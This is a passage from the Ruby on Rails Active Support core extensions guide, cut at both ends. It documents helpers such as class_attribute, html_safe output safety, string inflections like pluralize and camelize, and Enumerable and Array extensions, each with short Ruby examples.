The option `:prefix` adds a prefix to the name of the generated method. This may be handy for example to get a better name:

```
delegate :street, :to => :address, :prefix => true
```

The previous example generates `address_street` rather than `street`.

Since in this case the name of the generated method is composed of the target object and target method names, the `:to` option must be a method name.

A custom prefix may also be configured:

```
delegate :size, :to => :attachment, :prefix => :avatar
```

In the previous example the macro generates `avatar_size` rather than `size`.

Defined in `active_support/core_ext/module/delegation.rb`

3.9 Method Names

The builtin methods `instance_methods` and `methods` return method names as strings or symbols depending on the Ruby version. Active Support defines `instance_method_names` and `method_names` to be equivalent to them, respectively, but always getting strings back.

For example, `ActionView::Helpers::FormBuilder` knows this array difference is going to work no matter the Ruby version:

```
self.field_helpers = (FormHelper.instance_method_names - ['form_for'])
```

Defined in `active_support/core_ext/module/method_names.rb`

3.10 Redefining Methods

There are cases where you need to define a method with `define_method`, but don't know whether a method with that name already exists. If it does, a warning is issued if they are enabled. No big deal, but not clean either.

The method `redefine_method` prevents such a potential warning, removing the existing method before if needed. Rails uses it in a few places, for instance when it generates an association's API:

```
redefine_method("#{reflection.name}=") do |new_value|
  association = association_instance_get(reflection.name)

  if association.nil? || association.target != new_value
    association = association_proxy_class.new(self, reflection)
  end
```

```
  association.replace(new_value)
  association_instance_set(reflection.name, new_value.nil? ? nil : association)
end
```

Defined in `active_support/core_ext/module/remove_method.rb`

4 Extensions to `Class`

4.1 Class Attributes

4.1.1 `class_attribute`

The method `class_attribute` declares one or more inheritable class attributes that can be overridden at any level down the hierarchy.

```
class A
  class_attribute :x
end

class B < A; end

class C < B; end

A.x = :a
B.x # => :a
C.x # => :a

B.x = :b
A.x # => :a
C.x # => :b

C.x = :c
A.x # => :a
B.x # => :b
```

For example `ActionMailer::Base` defines:

```
class_attribute :default_params
self.default_params = {
  :mime_version => "1.0",
  :charset      => "UTF-8",
  :content_type => "text/plain",
  :parts_order  => [ "text/plain", "text/enriched", "text/html" ]
}.freeze
```

They can be also accessed and overridden at the instance level.

```
A.x = 1

a1 = A.new
a2 = A.new
a2.x = 2

a1.x # => 1, comes from A
a2.x # => 2, overridden in a2
```

The generation of the writer instance method can be prevented by setting the option `:instance_writer` to `false`.

```
module ActiveRecord
  class Base
    class_attribute :table_name_prefix, :instance_writer => false
    self.table_name_prefix = ""
  end
end
```

A model may find that option useful as a way to prevent mass-assignment from setting the attribute.

The generation of the reader instance method can be prevented by setting the option `:instance_reader` to `false`.

```
class A
  class_attribute :x, :instance_reader => false
end

A.new.x = 1 # NoMethodError
```

For convenience `class_attribute` also defines an instance predicate which is the double negation of what the instance reader returns. In the examples above it would be called `x?`.

When `:instance_reader` is `false`, the instance predicate returns a `NoMethodError` just like the reader method.

Defined in `active_support/core_ext/class/attribute.rb`

4.1.2 `cattr_reader`, `cattr_writer`, and `cattr_accessor`

The macros `cattr_reader`, `cattr_writer`, and `cattr_accessor` are analogous to their `attr_*` counterparts but for classes. They initialize a class variable to `nil` unless it already exists, and generate the corresponding class methods to access it:

```
class MysqlAdapter < AbstractAdapter
  # Generates class methods to access @@emulate_booleans.
  cattr_accessor :emulate_booleans
  self.emulate_booleans = true
end
```

Instance methods are created as well for convenience, they are just proxies to the class attribute. So, instances can change the class attribute, but cannot override it as it happens with `class_attribute` (see above). For example given

```
module ActionView
  class Base
    cattr_accessor :field_error_proc
    @@field_error_proc = Proc.new{ ... }
  end
end
```

we can access `field_error_proc` in views.

The generation of the reader instance method can be prevented by setting `:instance_reader` to `false` and the generation of the writer instance method can be prevented by setting `:instance_writer` to `false`. Generation of both methods can be prevented by setting `:instance_accessor` to `false`. In all cases, the value must be exactly `false` and not any false value.

```
module A
  class B
    # No first_name instance reader is generated.
    cattr_accessor :first_name, :instance_reader => false
    # No last_name= instance writer is generated.
    cattr_accessor :last_name, :instance_writer => false
    # No surname instance reader or surname= writer is generated.
    cattr_accessor :surname, :instance_accessor => false
  end
end
```

A model may find it useful to set `:instance_accessor` to `false` as a way to prevent mass-assignment from setting the attribute.

Defined in `active_support/core_ext/class/attribute_accessors.rb`.

4.2 Class Inheritable Attributes

Class Inheritable Attributes are deprecated. It's recommended that you use `Class#class_attribute` instead.

Class variables are shared down the inheritance tree. Class instance variables are not shared, but they are not inherited either. The macros `class_inheritable_reader`, `class_inheritable_writer`, and `class_inheritable_accessor` provide accessors for class-level data which is inherited but not shared with children:

```
module ActionController
```

```
  class Base
    # FIXME: REVISE/SIMPLIFY THIS COMMENT.
    # The value of allow_forgery_protection is inherited,
    # but its value in a particular class does not affect
    # the value in the rest of the controllers hierarchy.
    class_inheritable_accessor :allow_forgery_protection
  end
end
```

They accomplish this with class instance variables and cloning on subclassing, there are no class variables involved. Cloning is performed with `dup` as long as the value is duplicable.

There are some variants specialised in arrays and hashes:

```
class_inheritable_array
class_inheritable_hash
```

Those writers take any inherited array or hash into account and extend them rather than overwrite them.

As with vanilla class attribute accessors these macros create convenience instance methods for reading and writing. The generation of the writer instance method can be prevented setting `:instance_writer` to `false` (not any false value, but exactly `false`):

```
module ActiveRecord
  class Base
    class_inheritable_accessor :default_scoping, :instance_writer => false
  end
end
```

Since values are copied when a subclass is defined, if the base class changes the attribute after that, the subclass does not see the new value. That's the point.

Defined in `active_support/core_ext/class/inheritable_attributes.rb`.

4.3 Subclasses & Descendants

4.3.1 `subclasses`

The `subclasses` method returns the subclasses of the receiver:

```
class C; end
C.subclasses # => []

class B < C; end
C.subclasses # => [B]

class A < B; end
C.subclasses # => [B]

class D < C; end
C.subclasses # => [B, D]
```

The order in which these classes are returned is unspecified.

This method is redefined in some Rails core classes but should be all compatible in Rails 3.1.

Defined in `active_support/core_ext/class/subclasses.rb`.

4.3.2 `descendants`

The `descendants` method returns all classes that are < than its receiver:

```
class C; end
C.descendants # => []

class B < C; end
C.descendants # => [B]

class A < B; end
```

```
C.descendants # => [B, A]

class D < C; end
C.descendants # => [B, A, D]
```

The order in which these classes are returned is unspecified.

Defined in `active_support/core_ext/class/subclasses.rb`.

5 Extensions to `String`

5.1 Output Safety

5.1.1 Motivation

Inserting data into HTML templates needs extra care. For example you can't just interpolate `@review.title` verbatim into an HTML page. On one hand if the review title is "Flanagan & Matz rules!" the output won't be well-formed because an ampersand has to be escaped as "&". On the other hand, depending on the application that may be a big security hole because users can inject malicious HTML setting a hand-crafted review title. Check out the **section about cross-site scripting in the Security guide** for further information about the risks.

5.1.2 Safe Strings

Active Support has the concept of *(html) safe* strings since Rails 3. A safe string is one that is marked as being insertable into HTML as is. It is trusted, no matter whether it has been escaped or not.

Strings are considered to be *unsafe* by default:

```
"".html_safe? # => false
```

You can obtain a safe string from a given one with the `html_safe` method:

```
s = "".html_safe
s.html_safe? # => true
```

It is important to understand that `html_safe` performs no escaping whatsoever, it is just an assertion:

```
s = "<script>...</script>".html_safe
s.html_safe? # => true
s            # => "<script>...</script>"
```

It is your responsibility to ensure calling `html_safe` on a particular string is fine.

If you append onto a safe string, either in-place with `concat`/<<, or with +, the result is a safe string. Unsafe arguments are escaped:

```
"".html_safe + "<" # => "&lt;"
```

Safe arguments are directly appended:

```
"".html_safe + "<".html_safe # => "<"
```

These methods should not be used in ordinary views. In Rails 3 unsafe values are automatically escaped:

```
<%= @review.title %> <%# fine in Rails 3, escaped if needed %>
```

To insert something verbatim use the `raw` helper rather than calling `html_safe`:

```
<%= raw @cms.current_template %> <%# inserts @cms.current_template as is %>
```

or, equivalently, use <%==:

```
<%== @cms.current_template %> <%# inserts @cms.current_template as is %>
```

The `raw` helper calls `html_safe` for you:

```
def raw(stringish)
  stringish.to_s.html_safe
end
```

Defined in `active_support/core_ext/string/output_safety.rb`.

5.1.3 Transformation

As a rule of thumb, except perhaps for concatenation as explained above, any method that may change a string gives you an unsafe string. These are `downcase`, `gsub`, `strip`, `chomp`, `underscore`, etc.

In the case of in-place transformations like `gsub!` the receiver itself becomes unsafe.

The safety bit is lost always, no matter whether the transformation actually changed something.

5.1.4 Conversion and Coercion

Calling `to_s` on a safe string returns a safe string, but coercion with `to_str` returns an unsafe string.

5.1.5 Copying

Calling `dup` or `clone` on safe strings yields safe strings.

5.2 `squish`

The method `squish` strips leading and trailing whitespace, and substitutes runs of whitespace with a single space each:

```
" \n  foo\n\r \t bar \n".squish # => "foo bar"
```

There's also the destructive version `String#squish!`.

Defined in `active_support/core_ext/string/filters.rb`.

5.3 `truncate`

The method `truncate` returns a copy of its receiver truncated after a given `length`:

```
"Oh dear! Oh dear! I shall be late!".truncate(20)
# => "Oh dear! Oh dear!..."
```

Ellipsis can be customized with the `:omission` option:

```
"Oh dear! Oh dear! I shall be late!".truncate(20, :omission => '&hellip;')
# => "Oh dear! Oh &hellip;"
```

Note in particular that truncation takes into account the length of the omission string.

Pass a `:separator` to truncate the string at a natural break:

```
"Oh dear! Oh dear! I shall be late!".truncate(18)
# => "Oh dear! Oh dea..."
"Oh dear! Oh dear! I shall be late!".truncate(18, :separator => ' ')
# => "Oh dear! Oh..."
```

In the above example "dear" gets cut first, but then `:separator` prevents it.

The option `:separator` can't be a regexp.

Defined in `active_support/core_ext/string/filters.rb`.

5.4 `inquiry`

The `inquiry` method converts a string into a `StringInquirer` object making equality checks prettier.

```
"production".inquiry.production? # => true
"active".inquiry.inactive?       # => false
```

5.5 Key-based Interpolation

In Ruby 1.9 the `%` string operator supports key-based interpolation, both formatted and unformatted:

```
"Total is %<total>.02f" % {:total => 43.1}  # => Total is 43.10
"I say %{foo}" % {:foo => "wadus"}          # => "I say wadus"
"I say %{woo}" % {:foo => "wadus"}          # => KeyError
```

Active Support adds that functionality to `%` in previous versions of Ruby.

Defined in `active_support/core_ext/string/interpolation.rb`.

5.6 `starts_with?` and `ends_with?`

Active Support defines 3rd person aliases of `String#start_with?` and `String#end_with?`:

```
"foo".starts_with?("f") # => true
"foo".ends_with?("o")   # => true
```

Defined in `active_support/core_ext/string/starts_ends_with.rb`.

5.7 `strip_heredoc`

The method `strip_heredoc` strips indentation in heredocs.

For example in

```
if options[:usage]
  puts <<-USAGE.strip_heredoc
    This command does such and such.

    Supported options are:
      -h         This message
      ...
  USAGE
end
```

the user would see the usage message aligned against the left margin.

Technically, it looks for the least indented line in the whole string, and removes that amount of leading whitespace.

Defined in `active_support/core_ext/string/strip.rb`.

5.8 Access

5.8.1 `at(position)`

Returns the character of the string at position `position`:

```
"hello".at(0)  # => "h"
"hello".at(4)  # => "o"
"hello".at(-1) # => "o"
"hello".at(10) # => ERROR if < 1.9, nil in 1.9
```

Defined in `active_support/core_ext/string/access.rb`.

5.8.2 `from(position)`

Returns the substring of the string starting at position `position`:

```
"hello".from(0)  # => "hello"
"hello".from(2)  # => "llo"
"hello".from(-2) # => "lo"
"hello".from(10) # => "" if < 1.9, nil in 1.9
```

Defined in `active_support/core_ext/string/access.rb`.

5.8.3 `to(position)`

Returns the substring of the string up to position `position`:

```
"hello".to(0)  # => "h"
"hello".to(2)  # => "hel"
"hello".to(-2) # => "hell"
"hello".to(10) # => "hello"
```

Defined in `active_support/core_ext/string/access.rb`.

5.8.4 `first(limit = 1)`

The call `str.first(n)` is equivalent to `str.to(n-1)` if n > 0, and returns an empty string for n == 0.

Defined in `active_support/core_ext/string/access.rb`.

5.8.5 `last(limit = 1)`

The call `str.last(n)` is equivalent to `str.from(-n)` if n > 0, and returns an empty string for n == 0.

Defined in `active_support/core_ext/string/access.rb`.

5.9 Inflections

5.9.1 `pluralize`

The method `pluralize` returns the plural of its receiver:

```
"table".pluralize     # => "tables"
"ruby".pluralize      # => "rubies"
"equipment".pluralize # => "equipment"
```

As the previous example shows, Active Support knows some irregular plurals and uncountable nouns. Built-in rules can be extended in `config/initializers/inflections.rb`. That file is generated by the `rails` command and has instructions in comments.

`pluralize` can also take an optional `count` parameter. If `count == 1` the singular form will be returned. For any other value of `count` the plural form will be returned:

```
"dude".pluralize(0) # => "dudes"
"dude".pluralize(1) # => "dude"
"dude".pluralize(2) # => "dudes"
```

Active Record uses this method to compute the default table name that corresponds to a model:

```
# active_record/base.rb
def undecorated_table_name(class_name = base_class.name)
  table_name = class_name.to_s.demodulize.underscore
  table_name = table_name.pluralize if pluralize_table_names
  table_name
end
```

Defined in `active_support/core_ext/string/inflections.rb`.

5.9.2 `singularize`

The inverse of `pluralize`:

```
"tables".singularize    # => "table"
"rubies".singularize    # => "ruby"
"equipment".singularize # => "equipment"
```

Associations compute the name of the corresponding default associated class using this method:

```
# active_record/reflection.rb
def derive_class_name
  class_name = name.to_s.camelize
  class_name = class_name.singularize if collection?
  class_name
end
```

Defined in `active_support/core_ext/string/inflections.rb`.

5.9.3 `camelize`

The method `camelize` returns its receiver in camel case:

```
"product".camelize    # => "Product"
"admin_user".camelize # => "AdminUser"
```

As a rule of thumb you can think of this method as the one that transforms paths into Ruby class or module names,

where slashes separate namespaces:

```
"backoffice/session".camelize # => "Backoffice::Session"
```

For example, Action Pack uses this method to load the class that provides a certain session store:

```
# action_controller/metal/session_management.rb
def session_store=(store)
  if store == :active_record_store
    self.session_store = ActiveRecord::SessionStore
  else
    @@session_store = store.is_a?(Symbol) ?
      ActionDispatch::Session.const_get(store.to_s.camelize) :
      store
  end
end
```

`camelize` accepts an optional argument, it can be `:upper` (default), or `:lower`. With the latter the first letter becomes lowercase:

```
"visual_effect".camelize(:lower) # => "visualEffect"
```

That may be handy to compute method names in a language that follows that convention, for example JavaScript.

As a rule of thumb you can think of `camelize` as the inverse of `underscore`, though there are cases where that does not hold: `"SSLError".underscore.camelize` gives back `"SslError"`. To support cases such as this, Active Support allows you to specify acronyms in `config/initializers/inflections.rb`:

```
ActiveSupport::Inflector.inflections do |inflect|
  inflect.acronym 'SSL'
end

"SSLError".underscore.camelize #=> "SSLError"
```

`camelize` is aliased to `camelcase`.

Defined in `active_support/core_ext/string/inflections.rb`.

5.9.4 `underscore`

The method `underscore` goes the other way around, from camel case to paths:

```
"Product".underscore   # => "product"
"AdminUser".underscore # => "admin_user"
```

Also converts "::" back to "/":

```
"Backoffice::Session".underscore # => "backoffice/session"
```

and understands strings that start with lowercase:

```
"visualEffect".underscore # => "visual_effect"
```

`underscore` accepts no argument though.

Rails class and module autoloading uses `underscore` to infer the relative path without extension of a file that would define a given missing constant:

```
# active_support/dependencies.rb
def load_missing_constant(from_mod, const_name)
  ...
  qualified_name = qualified_name_for from_mod, const_name
  path_suffix = qualified_name.underscore
  ...
end
```

As a rule of thumb you can think of `underscore` as the inverse of `camelize`, though there are cases where that does not hold. For example, `"SSLError".underscore.camelize` gives back `"SslError"`.

Defined in `active_support/core_ext/string/inflections.rb`.

5.9.5 `titleize`

The method `titleize` capitalizes the words in the receiver:

```
"alice in wonderland".titleize # => "Alice In Wonderland"
"fermat's enigma".titleize     # => "Fermat's Enigma"
```

`titleize` is aliased to `titlecase`.

Defined in `active_support/core_ext/string/inflections.rb`.

5.9.6 `dasherize`

The method `dasherize` replaces the underscores in the receiver with dashes:

```
"name".dasherize         # => "name"
"contact_data".dasherize # => "contact-data"
```

The XML serializer of models uses this method to dasherize node names:

```
# active_model/serializers/xml.rb
def reformat_name(name)
  name = name.camelize if camelize?
  dasherize? ? name.dasherize : name
end
```

Defined in `active_support/core_ext/string/inflections.rb`.

5.9.7 `demodulize`

Given a string with a qualified constant name, `demodulize` returns the very constant name, that is, the rightmost part of it:

```
"Product".demodulize                        # => "Product"
"Backoffice::UsersController".demodulize    # => "UsersController"
"Admin::Hotel::ReservationUtils".demodulize # => "ReservationUtils"
```

Active Record for example uses this method to compute the name of a counter cache column:

```
# active_record/reflection.rb
def counter_cache_column
  if options[:counter_cache] == true
    "#{active_record.name.demodulize.underscore.pluralize}_count"
  elsif options[:counter_cache]
    options[:counter_cache]
  end
end
```

Defined in `active_support/core_ext/string/inflections.rb`.

5.9.8 `deconstantize`

Given a string with a qualified constant reference expression, `deconstantize` removes the rightmost segment, generally leaving the name of the constant's container:

```
"Product".deconstantize                        # => ""
"Backoffice::UsersController".deconstantize    # => "Backoffice"
"Admin::Hotel::ReservationUtils".deconstantize # => "Admin::Hotel"
```

Active Support for example uses this method in `Module#qualified_const_set`:

```
def qualified_const_set(path, value)
  QualifiedConstUtils.raise_if_absolute(path)

  const_name = path.demodulize
  mod_name = path.deconstantize
  mod = mod_name.empty? ? self : qualified_const_get(mod_name)
  mod.const_set(const_name, value)
end
```

Defined in `active_support/core_ext/string/inflections.rb`.

5.9.9 `parameterize`

The method `parameterize` normalizes its receiver in a way that can be used in pretty URLs.

```
"John Smith".parameterize # => "john-smith"
"Kurt Gödel".parameterize # => "kurt-godel"
```

In fact, the result string is wrapped in an instance of `ActiveSupport::Multibyte::Chars`.

Defined in `active_support/core_ext/string/inflections.rb`.

5.9.10 `tableize`

The method `tableize` is `underscore` followed by `pluralize`.

```
"Person".tableize      # => "people"
"Invoice".tableize     # => "invoices"
"InvoiceLine".tableize # => "invoice_lines"
```

As a rule of thumb, `tableize` returns the table name that corresponds to a given model for simple cases. The actual implementation in Active Record is not straight `tableize` indeed, because it also demodulizes the class name and checks a few options that may affect the returned string.

Defined in `active_support/core_ext/string/inflections.rb`.

5.9.11 `classify`

The method `classify` is the inverse of `tableize`. It gives you the class name corresponding to a table name:

```
"people".classify        # => "Person"
"invoices".classify      # => "Invoice"
"invoice_lines".classify # => "InvoiceLine"
```

The method understands qualified table names:

```
"highrise_production.companies".classify # => "Company"
```

Note that `classify` returns a class name as a string. You can get the actual class object invoking `constantize` on it, explained next.

Defined in `active_support/core_ext/string/inflections.rb`.

5.9.12 `constantize`

The method `constantize` resolves the constant reference expression in its receiver:

```
"Fixnum".constantize # => Fixnum

module M
  X = 1
end
"M::X".constantize # => 1
```

If the string evaluates to no known constant, or its content is not even a valid constant name, `constantize` raises `NameError`.

Constant name resolution by `constantize` starts always at the top-level `Object` even if there is no leading "::".

```
X = :in_Object
module M
  X = :in_M

  X                # => :in_M
  "::X".constantize # => :in_Object
  "X".constantize   # => :in_Object (!)
end
```

So, it is in general not equivalent to what Ruby would do in the same spot, had a real constant be evaluated.

Mailer test cases obtain the mailer being tested from the name of the test class using `constantize`:

```
# action_mailer/test_case.rb
def determine_default_mailer(name)
  name.sub(/Test$/, '').constantize
rescue NameError => e
  raise NonInferrableMailerError.new(name)
end
```

Defined in `active_support/core_ext/string/inflections.rb`.

5.9.13 `humanize`

The method `humanize` gives you a sensible name for display out of an attribute name. To do so it replaces underscores with spaces, removes any "_id" suffix, and capitalizes the first word:

```
"name".humanize           # => "Name"
"author_id".humanize      # => "Author"
"comments_count".humanize # => "Comments count"
```

The helper method `full_messages` uses `humanize` as a fallback to include attribute names:

```
def full_messages
  full_messages = []

  each do |attribute, messages|
    ...
    attr_name = attribute.to_s.gsub('.', '_').humanize
    attr_name = @base.class.human_attribute_name(attribute, :default => attr_name)
    ...
  end

  full_messages
end
```

Defined in `active_support/core_ext/string/inflections.rb`.

5.9.14 `foreign_key`

The method `foreign_key` gives a foreign key column name from a class name. To do so it demodulizes, underscores, and adds "_id":

```
"User".foreign_key           # => "user_id"
"InvoiceLine".foreign_key    # => "invoice_line_id"
"Admin::Session".foreign_key # => "session_id"
```

Pass a false argument if you do not want the underscore in "_id":

```
"User".foreign_key(false) # => "userid"
```

Associations use this method to infer foreign keys, for example `has_one` and `has_many` do this:

```
# active_record/associations.rb
foreign_key = options[:foreign_key] || reflection.active_record.name.foreign_key
```

Defined in `active_support/core_ext/string/inflections.rb`.

5.10 Conversions

5.10.1 `ord`

Ruby 1.9 defines `ord` to be the codepoint of the first character of the receiver. Active Support backports `ord` for single-byte encodings like ASCII or ISO-8859-1 in Ruby 1.8:

```
"a".ord # => 97
"à".ord # => 224, in ISO-8859-1
```

In Ruby 1.8 `ord` doesn't work in general in UTF8 strings, use the multibyte support in Active Support for that:

```
"a".mb_chars.ord # => 97
"à".mb_chars.ord # => 224, in UTF8
```

Note that the 224 is different in both examples. In ISO-8859-1 “à” is represented as a single byte, 224. Its single-character representation in UTF8 has two bytes, namely 195 and 160, but its Unicode codepoint is 224. If we call `ord` on the UTF8 string “à” the return value will be 195 in Ruby 1.8. That is not an error, because UTF8 is unsupported, the call itself would be bogus.

`ord` is equivalent to `getbyte(0)`.

Defined in `active_support/core_ext/string/conversions.rb`.

5.10.2 `getbyte`

Active Support backports `getbyte` from Ruby 1.9:

```
"foo".getbyte(0)  # => 102, same as "foo".ord
"foo".getbyte(1)  # => 111
"foo".getbyte(9)  # => nil
"foo".getbyte(-1) # => 111
```

`getbyte` is equivalent to `[]`.

Defined in `active_support/core_ext/string/conversions.rb`.

5.10.3 `to_date`, `to_time`, `to_datetime`

The methods `to_date`, `to_time`, and `to_datetime` are basically convenience wrappers around `Date._parse`:

```
"2010-07-27".to_date              # => Tue, 27 Jul 2010
"2010-07-27 23:37:00".to_time     # => Tue Jul 27 23:37:00 UTC 2010
"2010-07-27 23:37:00".to_datetime # => Tue, 27 Jul 2010 23:37:00 +0000
```

`to_time` receives an optional argument `:utc` or `:local`, to indicate which time zone you want the time in:

```
"2010-07-27 23:42:00".to_time(:utc)   # => Tue Jul 27 23:42:00 UTC 2010
"2010-07-27 23:42:00".to_time(:local) # => Tue Jul 27 23:42:00 +0200 2010
```

Default is `:utc`.

Please refer to the documentation of `Date._parse` for further details.

The three of them return `nil` for blank receivers.

Defined in `active_support/core_ext/string/conversions.rb`.

6 Extensions to `Numeric`

6.1 Bytes

All numbers respond to these methods:

```
bytes
kilobytes
megabytes
gigabytes
terabytes
petabytes
exabytes
```

They return the corresponding amount of bytes, using a conversion factor of 1024:

```
2.kilobytes   # => 2048
3.megabytes   # => 3145728
3.5.gigabytes # => 3758096384
-4.exabytes   # => -4611686018427387904
```

Singular forms are aliased so you are able to say:

```
1.megabyte # => 1048576
```

Defined in `active_support/core_ext/numeric/bytes.rb`.

7 Extensions to `Integer`

7.1 `multiple_of?`

The method `multiple_of?` tests whether an integer is multiple of the argument:

```
2.multiple_of?(1) # => true
1.multiple_of?(2) # => false
```

Defined in `active_support/core_ext/integer/multiple.rb`.

7.2 `ordinalize`

The method `ordinalize` returns the ordinal string corresponding to the receiver integer:

```
1.ordinalize    # => "1st"
2.ordinalize    # => "2nd"
53.ordinalize   # => "53rd"
2009.ordinalize # => "2009th"
-21.ordinalize  # => "-21st"
-134.ordinalize # => "-134th"
```

Defined in `active_support/core_ext/integer/inflections.rb`.

8 Extensions to `Float`

8.1 `round`

The built-in method `Float#round` rounds a float to the nearest integer. In Ruby 1.9 this method takes an optional argument to let you specify a precision. Active Support adds that functionality to `round` in previous versions of Ruby:

```
Math::E.round(4) # => 2.7183
```

Defined in `active_support/core_ext/float/rounding.rb`.

9 Extensions to `BigDecimal`

...

10 Extensions to `Enumerable`

10.1 `group_by`

Active Support redefines `group_by` in Ruby 1.8.7 so that it returns an ordered hash as in 1.9:

```
entries_by_surname_initial = address_book.group_by do |entry|
  entry.surname.at(0).upcase
end
```

Distinct block return values are added to the hash as they come, so that’s the resulting order.

Defined in `active_support/core_ext/enumerable.rb`.

10.2 `sum`

The method `sum` adds the elements of an enumerable:

```
[1, 2, 3].sum # => 6
(1..100).sum  # => 5050
```

Addition only assumes the elements respond to `+`:

```
[[1, 2], [2, 3], [3, 4]].sum    # => [1, 2, 2, 3, 3, 4]
%w(foo bar baz).sum             # => "foobarbaz"
{:a => 1, :b => 2, :c => 3}.sum # => [:b, 2, :c, 3, :a, 1]
```

The sum of an empty collection is zero by default, but this is customizable:

```
[].sum    # => 0
[].sum(1) # => 1
```

If a block is given, `sum` becomes an iterator that yields the elements of the collection and sums the returned values:

```
(1..5).sum {|n| n * 2 } # => 30
[2, 4, 6, 8, 10].sum    # => 30
```

The sum of an empty receiver can be customized in this form as well:

```
[].sum(1) {|n| n**3} # => 1
```

The method `ActiveRecord::Observer#observed_subclasses` for example is implemented this way:

```
def observed_subclasses
  observed_classes.sum([]) { |klass| klass.send(:subclasses) }
end
```

Defined in `active_support/core_ext/enumerable.rb`.

10.3 `each_with_object`

The `inject` method offers iteration with an accumulator:

```
[2, 3, 4].inject(1) {|product, i| product*i } # => 24
```

The block is expected to return the value for the accumulator in the next iteration, and this makes building mutable objects a bit cumbersome:

```
[1, 2].inject({}) {|h, i| h[i] = i**2; h} # => {1 => 1, 2 => 4}
```

See that spurious "`; h`"?

Active Support backports `each_with_object` from Ruby 1.9, which addresses that use case. It iterates over the collection, passes the accumulator, and returns the accumulator when done. You normally modify the accumulator in place. The example above would be written this way:

```
[1, 2].each_with_object({}) {|i, h| h[i] = i**2} # => {1 => 1, 2 => 4}
```

Note that the item of the collection and the accumulator come in different order in `inject` and `each_with_object`.

Defined in `active_support/core_ext/enumerable.rb`.

10.4 `index_by`

The method `index_by` generates a hash with the elements of an enumerable indexed by some key.

It iterates through the collection and passes each element to a block. The element will be keyed by the value returned by the block:

```
invoices.index_by(&:number)
# => {'2009-032' => <Invoice ...>, '2009-008' => <Invoice ...>, ...}
```

Keys should normally be unique. If the block returns the same value for different elements no collection is built for that key. The last item will win.

Defined in `active_support/core_ext/enumerable.rb`.

10.5 `many?`

The method `many?` is shorthand for `collection.size > 1`:

```
<% if pages.many? %>
  <%= pagination_links %>
<% end %>
```

If an optional block is given, `many?` only takes into account those elements that return true:

```
@see_more = videos.many? {|video| video.category == params[:category]}
```

Defined in `active_support/core_ext/enumerable.rb`.

10.6 `exclude?`

The predicate `exclude?` tests whether a given object does **not** belong to the collection. It is the negation of the built-in `include?`:

```
to_visit << node if visited.exclude?(node)
```

Defined in `active_support/core_ext/enumerable.rb`.

11 Extensions to `Array`

11.1 Accessing

Active Support augments the API of arrays to ease certain ways of accessing them. For example, `to` returns the subarray of elements up to the one at the passed index:

```
%w(a b c d).to(2) # => %w(a b c)
[].to(7)          # => []
```

Similarly, `from` returns the tail from the element at the passed index to the end. If the index is greater than the length of the array, it returns an empty array.

```
%w(a b c d).from(2)  # => %w(c d)
%w(a b c d).from(10) # => []
[].from(0)           # => []
```

The methods `second`, `third`, `fourth`, and `fifth` return the corresponding element (`first` is built-in). Thanks to social wisdom and positive constructiveness all around, `forty_two` is also available.

```
%w(a b c d).third # => c
%w(a b c d).fifth # => nil
```

Defined in `active_support/core_ext/array/access.rb`.

11.2 Random Access

Active Support backports `sample` from Ruby 1.9:

```
shape_type = [Circle, Square, Triangle].sample
# => Square, for example

shape_types = [Circle, Square, Triangle].sample(2)
# => [Triangle, Circle], for example
```

Defined in `active_support/core_ext/array/random_access.rb`.

11.3 Adding Elements

11.3.1 `prepend`

This method is an alias of `Array#unshift`.

```
%w(a b c d).prepend('e')  # => %w(e a b c d)
[].prepend(10)            # => [10]
```

Defined in `active_support/core_ext/array/prepend_and_append.rb`.

11.3.2 `append`

This method is an alias of `Array#<<`.

```
%w(a b c d).append('e')  # => %w(a b c d e)
[].append([1,2])         # => [[1,2]]
```

Defined in `active_support/core_ext/array/prepend_and_append.rb`.

11.4 Options Extraction

When the last argument in a method call is a hash, except perhaps for a `&block` argument, Ruby allows you to omit the brackets:

```
User.exists?(:email => params[:email])
```

That syntactic sugar is used a lot in Rails to avoid positional arguments where there would be too many, offering instead interfaces that emulate named parameters. In particular it is very idiomatic to use a trailing hash for options.

If a method expects a variable number of arguments and uses * in its declaration, however, such an options hash ends up being an item of the array of arguments, where it loses its role.

In those cases, you may give an options hash a distinguished treatment with `extract_options!`. This method checks the type of the last item of an array. If it is a hash it pops it and returns it, otherwise it returns an empty hash.

Let's see for example the definition of the `caches_action` controller macro:

```
def caches_action(*actions)
  return unless cache_configured?
  options = actions.extract_options!
  ...
end
```

This method receives an arbitrary number of action names, and an optional hash of options as last argument. With the call to `extract_options!` you obtain the options hash and remove it from `actions` in a simple and explicit way.

Defined in `active_support/core_ext/array/extract_options.rb`.

11.5 Conversions

11.5.1 `to_sentence`

The method `to_sentence` turns an array into a string containing a sentence that enumerates its items:

```
%w().to_sentence                # => ""
%w(Earth).to_sentence           # => "Earth"
%w(Earth Wind).to_sentence      # => "Earth and Wind"
%w(Earth Wind Fire).to_sentence # => "Earth, Wind, and Fire"
```

This method accepts three options:

- `:two_words_connector`: What is used for arrays of length 2. Default is " and ".
- `:words_connector`: What is used to join the elements of arrays with 3 or more elements, except for the last two. Default is ", ".
- `:last_word_connector`: What is used to join the last items of an array with 3 or more elements. Default is ", and ".

The defaults for these options can be localised, their keys are:

Option	I18n key
`:two_words_connector`	`support.array.two_words_connector`
`:words_connector`	`support.array.words_connector`
`:last_word_connector`	`support.array.last_word_connector`

Options `:connector` and `:skip_last_comma` are deprecated.

Defined in `active_support/core_ext/array/conversions.rb`.

11.5.2 `to_formatted_s`

The method `to_formatted_s` acts like `to_s` by default.

If the array contains items that respond to `id`, however, it may be passed the symbol `:db` as argument. That's typically used with collections of ARs, though technically any object in Ruby 1.8 responds to `id` indeed. Returned strings are:

```
[].to_formatted_s(:db)            # => "null"
[user].to_formatted_s(:db)        # => "8456"
invoice.lines.to_formatted_s(:db) # => "23,567,556,12"
```

Integers in the example above are supposed to come from the respective calls to `id`.

Defined in `active_support/core_ext/array/conversions.rb`.

11.5.3 `to_xml`

The method `to_xml` returns a string containing an XML representation of its receiver:

```
Contributor.limit(2).order(:rank).to_xml
# =>
# <?xml version="1.0" encoding="UTF-8"?>
# <contributors type="array">
#   <contributor>
#     <id type="integer">4356</id>
#     <name>Jeremy Kemper</name>
#     <rank type="integer">1</rank>
#     <url-id>jeremy-kemper</url-id>
#   </contributor>
#   <contributor>
#     <id type="integer">4404</id>
#     <name>David Heinemeier Hansson</name>
#     <rank type="integer">2</rank>
#     <url-id>david-heinemeier-hansson</url-id>
#   </contributor>
# </contributors>
```

To do so it sends `to_xml` to every item in turn, and collects the results under a root node. All items must respond to `to_xml`, an exception is raised otherwise.

